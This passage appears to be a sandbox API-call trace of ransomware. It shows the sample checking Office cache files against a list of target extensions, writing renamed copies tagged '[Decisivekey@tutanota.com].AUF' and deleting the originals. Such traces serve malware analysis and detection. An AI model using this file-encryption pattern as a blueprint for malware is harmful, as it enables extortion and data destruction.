returned 4 [0205.109] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0205.109] lstrlenW (lpString=".jpg") returned 4 [0205.109] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.109] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.109] lstrlenW (lpString="branding.xml") returned 12 [0205.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.109] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=596341) returned 1 [0205.109] CloseHandle (hObject=0x194) returned 1 [0205.109] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0205.109] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.109] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.109] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.110] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0205.110] GetLastError () returned 0x0 [0205.110] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x91975, lpOverlapped=0x0) returned 1 [0205.140] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0205.148] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.148] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0205.148] SetEndOfFile (hFile=0x1a8) returned 1 [0205.148] CloseHandle (hObject=0x1a8) returned 1 [0205.152] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.152] SetEndOfFile (hFile=0x194) returned 1 [0205.448] CloseHandle (hObject=0x194) returned 1 [0205.448] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.448] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0205.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0205.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0205.449] lstrlenW (lpString=".doc") returned 4 [0205.449] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.449] lstrlenW (lpString=".docx") returned 5 [0205.449] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0205.449] lstrlenW (lpString=".pdf") returned 4 [0205.449] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.449] lstrlenW (lpString=".xls") returned 4 [0205.449] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.449] lstrlenW (lpString=".xlsx") returned 5 [0205.449] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0205.449] lstrlenW (lpString=".ppt") returned 4 [0205.449] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0205.449] lstrlenW (lpString=".zip") returned 4 [0205.449] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.449] lstrlenW (lpString=".rar") returned 4 [0205.449] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.449] lstrlenW (lpString=".bz2") returned 4 [0205.449] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.449] lstrlenW (lpString=".7z") returned 3 [0205.449] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0205.449] lstrlenW (lpString=".dbf") returned 4 [0205.449] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0205.449] lstrlenW (lpString=".1cd") returned 4 [0205.449] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0205.449] lstrlenW (lpString=".jpg") returned 4 [0205.449] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0205.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0205.449] lstrlenW (lpString=".doc") returned 4 [0205.449] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.449] lstrlenW (lpString=".docx") returned 5 [0205.449] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0205.450] lstrlenW (lpString=".pdf") returned 4 [0205.450] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.450] lstrlenW (lpString=".xls") returned 4 [0205.450] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.450] lstrlenW (lpString=".xlsx") returned 5 [0205.450] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0205.450] lstrlenW (lpString=".ppt") returned 4 [0205.450] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0205.450] lstrlenW (lpString=".zip") returned 4 [0205.450] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.450] lstrlenW (lpString=".rar") returned 4 [0205.450] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.450] lstrlenW (lpString=".bz2") returned 4 [0205.450] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.450] lstrlenW (lpString=".7z") returned 3 [0205.450] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0205.450] lstrlenW (lpString=".dbf") returned 4 [0205.450] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0205.450] lstrlenW (lpString=".1cd") returned 4 [0205.450] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0205.450] lstrlenW (lpString=".jpg") returned 4 [0205.450] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.450] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.450] lstrlenW (lpString="Office32WW.xml") returned 14 [0205.450] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.451] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=4274) returned 1 [0205.451] CloseHandle (hObject=0x194) returned 1 [0205.451] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0205.451] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.451] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.451] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.451] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.451] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0205.452] GetLastError () returned 0x0 [0205.452] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0205.524] WriteFile (in: hFile=0x1a4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0205.525] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.525] WriteFile (in: hFile=0x1a4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0205.525] SetEndOfFile (hFile=0x1a4) returned 1 [0205.527] CloseHandle (hObject=0x1a4) returned 1 [0205.528] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.528] SetEndOfFile (hFile=0x194) returned 1 [0205.528] CloseHandle (hObject=0x194) returned 1 [0205.529] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.529] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0205.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.529] lstrlenW (lpString=".doc") returned 4 [0205.529] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.529] lstrlenW (lpString=".docx") returned 5 [0205.529] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0205.529] lstrlenW (lpString=".pdf") returned 4 [0205.529] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.529] lstrlenW (lpString=".xls") returned 4 [0205.529] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.529] lstrlenW (lpString=".xlsx") returned 5 [0205.529] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0205.529] lstrlenW (lpString=".ppt") returned 4 [0205.529] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.529] lstrlenW (lpString=".zip") returned 4 [0205.529] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.529] lstrlenW (lpString=".rar") returned 4 [0205.529] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.529] lstrlenW (lpString=".bz2") returned 4 [0205.529] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.529] lstrlenW (lpString=".7z") returned 3 [0205.529] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.529] lstrlenW (lpString=".dbf") returned 4 [0205.529] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.530] lstrlenW (lpString=".1cd") returned 4 [0205.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.530] lstrlenW (lpString=".jpg") returned 4 [0205.530] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.530] lstrlenW (lpString=".doc") returned 4 [0205.530] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.530] lstrlenW (lpString=".docx") returned 5 [0205.530] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0205.530] lstrlenW (lpString=".pdf") returned 4 [0205.530] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.530] lstrlenW (lpString=".xls") returned 4 [0205.530] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.530] lstrlenW (lpString=".xlsx") returned 5 [0205.530] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0205.530] lstrlenW (lpString=".ppt") returned 4 [0205.530] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.530] lstrlenW (lpString=".zip") returned 4 [0205.530] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.530] lstrlenW (lpString=".rar") returned 4 [0205.530] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.530] lstrlenW (lpString=".bz2") returned 4 [0205.530] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.530] lstrlenW (lpString=".7z") returned 3 [0205.530] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.530] lstrlenW (lpString=".dbf") returned 4 [0205.530] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.530] lstrlenW (lpString=".1cd") returned 4 [0205.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.531] lstrlenW (lpString=".jpg") returned 4 [0205.531] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.531] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.531] lstrlenW (lpString="Office32WW.xml") returned 14 [0205.531] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.540] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=4274) returned 1 [0205.540] CloseHandle (hObject=0x194) returned 1 [0205.540] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0205.540] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.540] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.540] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.540] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.540] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0205.541] GetLastError () returned 0x0 [0205.541] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0205.546] WriteFile (in: hFile=0x1a4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0205.547] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.547] WriteFile (in: hFile=0x1a4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0205.547] SetEndOfFile (hFile=0x1a4) returned 1 [0205.547] CloseHandle (hObject=0x1a4) returned 1 [0205.548] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.548] SetEndOfFile (hFile=0x194) returned 1 [0205.549] CloseHandle (hObject=0x194) returned 1 [0205.549] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.549] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0205.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.549] lstrlenW (lpString=".doc") returned 4 [0205.549] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.549] lstrlenW (lpString=".docx") returned 5 [0205.549] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0205.549] lstrlenW (lpString=".pdf") returned 4 [0205.549] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.549] lstrlenW (lpString=".xls") returned 4 [0205.549] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.549] lstrlenW (lpString=".xlsx") returned 5 [0205.549] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0205.549] lstrlenW (lpString=".ppt") returned 4 [0205.549] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.549] lstrlenW (lpString=".zip") returned 4 [0205.549] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.550] lstrlenW (lpString=".rar") returned 4 [0205.550] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.550] lstrlenW (lpString=".bz2") returned 4 [0205.550] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.550] lstrlenW (lpString=".7z") returned 3 [0205.550] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.550] lstrlenW (lpString=".dbf") returned 4 [0205.550] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.550] lstrlenW (lpString=".1cd") returned 4 [0205.550] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.550] lstrlenW (lpString=".jpg") returned 4 [0205.550] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.550] lstrlenW (lpString=".doc") returned 4 [0205.550] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.550] lstrlenW (lpString=".docx") returned 5 [0205.550] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0205.550] lstrlenW (lpString=".pdf") returned 4 [0205.550] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.550] lstrlenW (lpString=".xls") returned 4 [0205.550] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.550] lstrlenW (lpString=".xlsx") returned 5 [0205.550] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0205.550] lstrlenW (lpString=".ppt") returned 4 [0205.550] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.550] lstrlenW (lpString=".zip") returned 4 [0205.550] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.550] lstrlenW (lpString=".rar") returned 4 [0205.550] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.550] lstrlenW 